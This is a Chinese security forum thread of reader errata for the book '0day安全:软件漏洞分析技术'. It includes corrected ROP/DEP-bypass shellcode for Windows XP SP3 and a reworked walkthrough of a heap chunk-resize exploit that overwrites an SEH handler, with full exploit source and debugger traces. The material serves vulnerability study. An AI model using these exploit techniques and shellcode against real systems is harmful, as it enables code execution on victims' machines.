首页
社区
课程
招聘
《0day安全:软件漏洞分析技术》勘误
2008-4-21 12:58 43223

《0day安全:软件漏洞分析技术》勘误

2008-4-21 12:58
43223
收藏
点赞0
打赏
分享
最新回复 (53)
雪    币: 113
活跃值: (62)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zwfy 2018-12-13 10:52
51
0

P321 12.3.1 Ret2Libc 实战之利用 ZwSetInformationProcess

位置:P321 shellcode构造有问题,经过XP SP3下调试,发现shellcode需要填充4个字节,才能正常关闭DEP, 勘误后代码如下:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90" // 勘误:少了4个字节,此处已经填充4个nop,调整后下面的E92FFFFF jmp指令需要重新设定
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D"//修正EBP
"\x19\x4A\x97\x7C"//增大ESP
"\xB4\xC1\xC5\x7D"//jmp esp
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x2F\xFF\xFF" // 勘误,重新调整跳转偏移
"\xFF\x90\x90\x90"
雪    币: 113
活跃值: (62)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zwfy 2018-12-21 11:16
52
0

P398 第15单 重重保护下的堆
说明: 15.3节的原文描述看起来比较费力,而实验环境与很难与书上一致,故此根据shellcode及原文描述,重新描述核心原理,方便其它初学阅读。

15.3 利用 chunk 重设大小攻击堆

经过前面的介绍,我们知道 Safe Unlink 精髓之处在于从 FreeList[n]上拆卸 chunk 时对双向链表的有效性进行验证。那把一个 chunk 插入到 FreeList[n]的时候有没有进行校验呢?答案是没有。

 

如果我们能够伪造一个 chunk 并把它插入到 FreeList[n]上不就可以造成某种攻击了吗?

15.3.1 链表插入场景

(1)内存释放后 chunk 不再被使用时它会被重新链入链表。

链入空表表尾,修改的指令数据源于空表,而要访问的空表数据无法控制。

Freelist[B, F]--[Ba, Fa]--[Bb, Fb]--[Binsert, Finsert]--FreeList

 

(2)当 chunk 的内存空间大于申请的空间时,剩余的空间会被建立成一个新的 chunk,链入链表中

15.3.2 场景2利用

场景2提供一个可利用的机会。回想下从 FreeList[0]上申请空间的过程

  1. 末尾比较

    将 FreeList[0]上最后一个 chunk 的大小与申请空间的大小进行比较,如果 chunk 的大小大于等于申请的空间, 则继续分派,否则扩展空间(若超大堆块链表无法满足分配,则扩展堆)。

  2. 正向匹配

    从 FreeList[0]的第一个 chunk 依次检测,直到找到第一个符合要求的 chunk,然后将其从链表中拆卸下来(搜索恰巧合适的堆块进行分配)。

  3. 冗余回收

    分配好空间后如果 chunk 中还有剩余空间,剩余的空间会被建立成一个新 chunk,并插入到链表中(堆块空间过剩则切分之)。

15.3.3 攻击思路分析

在这三个步骤中,第一步我们没有任何利用的机会,有文章可做的是第2步和第3步。

 

由于 Safe Unlink 的存在,如果我们去覆盖 chunk 的结构在第2步的时候就会被检测出来,这么看来我们没有任何利用的机会。

 

但是 Safe Unlink 中存在一个让人疑惑的问题,即便 SafeUnlink 检测到 chunk 结构已经被破坏,它还是会允许后续的一些操作执行,例如重设 chunk的大小

15.3.4 实例分析

15.3.4.1 示例代码

先来看一下重设 chunk 的具体过程,我们通过如下代码来分析这一过程

#include <stdio.h>
#include <windows.h>
void main()
{
    char shellcode[]=
        // 0x00390688: 16B 填充堆h1;
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        // 0x00390698: overflow 下一堆块首(h2堆分配后,自动更新);
        "\x10\x01\x10\x00\x99\x99\x99\x99"
        // 0x003906A0: flink, blink; EB06 short jmp, 向前跳6字节; 
        "\xEB\x06\x39\x00\xEB\x06\x39\x00" 
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        // h2分配后,此处为h2 header
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        // 0x3906B8 (h2分配后:0x3906EB, 0x12FFE4)
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        // short jmp, 向前跳0x31字节, 执行shellcode
        "\xEB\x31\x90\x90\x90\x90\x90\x90" 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x11\x01\x10\x00\x99\x99\x99\x99"
        // 0x3906EB [+4]0x12FFE4 SEH Handler
        // (h2分配后: 0x12FFE4变0x3906B8, [0x12FFE4] = 0x3906B8 )
        "\x8C\x06\x39\x00\xE4\xFF\x12\x00"
        // 0x3906F3 shellcode (FC-> cld)
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
    HLOCAL h1,h2;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    __asm int 3;
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    memcpy(h1,shellcode,300);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    int zero=0;
    zero=1/zero;
    printf("%d",zero);
}

(1)首先 h1 向堆中申请 16 个字节的空间。
(2)由于此时堆刚刚初始化所以空间是从 FreeList[0]中申请的,从 FreeList[0]中拆卸下来的 chunk 在分配好空间后会将剩余的空间新建一个 chunk 并插入到 FreeList[0]中, 所以 h1 后面会跟着一个大空闲块。
(3)当向 h1 中复制超过 16 个字节空间时就会覆盖后面 chunk 的块首。
(4) Chunk 的块首被覆盖后,当 h2 申请空间时,程序就会从被破坏的 chunk 中分配空间,并将剩余空间新建为一个 chunk 并插入到 FreeList[0]中。
(5)通过伪造 h2 申请空间前 chunk 的 Flink 和 Blink,实现在新 chunk 插入 FreeList[0]时将新 chunk 的 Flink 起始地址写入到任意地址。因此通过控制 h2 申请空间前 chunk 的 Flink 和 Blink 值,可以将数据写入到异常处理函数指针所在位置。
(6)通过制造除 0 异常,让程序转入异常处理,进而劫持程序流程,让程序转入 shellcode 执行。

 

先对思路简单解释一下,大家都知道堆刚初始化时只有一个 chunk 在 FreeList[0]中,此时只需要申请一点点空间(当然要小于 chunk 中的空间大小)就可以从这个 chunk 中分配出相应的空间来,并将剩余的空间建成一个新的 chunk 插入到链表中。

15.3.4.2 定位堆结构

由于有 int 3 指令的存在程序会自动中断,然后单击“调试”按钮就可以启用 OllyDbg 来调试程序(前提是将 OllyDbg 设置为默认调试器)。

 

待OllyDbg 启动之后,观察内存状态可以看到堆的起始地址为 0x00390000(EAX 的值), FreeList[0]位于0x00390178,在 0x00390178 处可以看到唯一的 chunk 位于 0x00390688。此时 FreeList[0]头节点和 chunk 如图 15.3.1 所示。

 

hHeap + 0x178

 

15.3.4.2 观察新chunk插入链表逻辑

在 0x7C931513 的位置下设断点,这是修改 chunk 中下一chunk 指针和上一 chunk 指针的开始。该地址为 ntdll 加载基址+0x11513,如果您的实验环境地址有所变化,请用此方法自行确认。

 

设置好断点后,按 F9 键让程序运行,待程序中断后,可以看到如下汇编代码,这就是将chunk 插入链表的精髓之处。

7C931513 LEA EAX,DWORD PTR DS:[EDI+8] ;获取新 chunk 的 Flink 位置
7C931516 MOV DWORD PTR SS:[EBP-F0],EAX
7C93151C MOV EDX,DWORD PTR DS:[ECX+4] ;获取下一 chunk 中的 Blink 的值
7C93151F MOV DWORD PTR SS:[EBP-F8],EDX
7C931525 MOV DWORD PTR DS:[EAX],ECX ;保存新 chunk 的 Flink
7C931527 MOV DWORD PTR DS:[EAX+4],EDX ;保存新 chunk 的 Blink
; 保存下一 chunk 中的 Blink->Flink 的 Flink
7C93152A MOV DWORD PTR DS:[EDX],EAX 
7C93152C MOV DWORD PTR DS:[ECX+4],EAX ; 保存下一 chunk 中的 Blink

双链表手绘示意图:

注意:node结点内部内存布局与示意图不同,内存中{header, flink, blink, data},图中{blink, data, flink}且图中忽略header

 

 

注意:

  • node h1, old; 为已经使用的节点,不存在flink, blink此处仅表示内存先后关系

  • 步骤1, 2用于初始化 node *new; 步骤3, 4用于修改 prev->flink 及 next->blink;

  • 0x3906EB 即是地址,也是指令,因此需要精心选择(原理看下文);

操作过程

  1. new->flink = old->flink;

[3906B8] = 0x3906EB

  1. new->blink = old->flink->blink;

[3906B8+4] = 0x12FFE4

正常情况 old, next的blink值不可能相同,但old作为尾指针,next为free[0]故可相同;

此处伪造了 next 结点;

  1. old->flink->blink->flink = new;

[12FFE4] = 0x3906B8 用于修改 prev->flink, 将new结点链接到前一个结点

此处导致shoot漏洞,SEH handler = [12FFE4]

可知old->flink及next->blink是伪造数据的核心,old->flink指向next,而next->blink将会被写入任意dword数据。

  1. old->flink->blink = new;

即[3906EB+4] = 0x3906B8 用于修改 next->blink, 将new结点链接到后一个结点

 

几个疑惑

  1. old 结点remove的时候不需要safe_remove 安全检测么?

需要,原书说“即便 SafeUnlink 检测到 chunk 结构已经被破坏,它还是会允许后续的一些操作执行,例如重设 chunk的大小”

  1. old->blink 未使用,为何设置成 old->flink相同的值?

原书说:为填充flink, blink不妨设置为0x3906EB,也就是说old->blink只是为了填充,填充有意义的数据更好。

 

exploit执行逻辑

  1. 触发异常,执行SEH链表,由于 SEH handler 为[12FFE4] = 0x3906B8 故跳转到0x3906B8执行;

  2. [3906B8] = 0x3906EB 故跳转后执行 EB06跳转指令,向前跳转6个字节;

  3. 跳转后执行 nop指令,直到EB31跳转指令,向前跳转0x31个字节;

  4. 跳转后刚好执行shellcode;

shellcode

    char shellcode[]=
        // 0x00390688: 16B 填充堆h1;
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        // 0x00390698: overflow 下一堆块首(h2堆分配后,自动更新);
        "\x10\x01\x10\x00\x99\x99\x99\x99"
        // 0x003906A0: flink, blink; EB06 short jmp, 向前跳6字节; 
        "\xEB\x06\x39\x00\xEB\x06\x39\x00" 
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        // h2分配后,此处为h2 header
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        // 0x3906B8 (h2分配后:0x3906EB, 0x12FFE4)
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        // short jmp, 向前跳0x31字节, 执行shellcode
        "\xEB\x31\x90\x90\x90\x90\x90\x90" 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x11\x01\x10\x00\x99\x99\x99\x99"
        // 0x3906EB [+4]0x12FFE4 SEH Handler
        // (h2分配后: 0x12FFE4变0x3906B8, [0x12FFE4] = 0x3906B8 )
        "\x8C\x06\x39\x00\xE4\xFF\x12\x00"
        // 0x3906F3 shellcode (FC-> cld)
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
雪    币: 835
活跃值: (1222)
能力值: ( LV7,RANK:118 )
在线值:
发帖
回帖
粉丝
For@* 2019-3-9 20:22
53
0
第一章 第一节 1.1.2 P3
“此外,如果密码存在本地,即使使用高强度的Hash 算法进行加密,如果没有考虑到CRACK攻击,验证机制也很可能被轻易突破。”
hash算法应该只能叫摘要,不能叫加密,即使是一个几M大小的文件进行摘要后得到一个256长度的hash值,是基本不可能解密还原回去的,更大的就不用说了,所以加密用在hash里有点欠妥

雪    币: 0
活跃值: (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Aowu 2020-10-27 18:58
54
0

第5章 5.2.6 倒数第二段话 P161 

“( 3)在 0x005201B8 处的 freelist[8],原来指向自身,现在则指向合并后的新空闲块0x005206AB。”

现在则指向合并后的新空闲块应该是0x005206A8 而不是 0x005206AB

最后于 2020-10-27 19:01 被Aowu编辑 ,原因:
游客
登录 | 注册 方可回帖
返回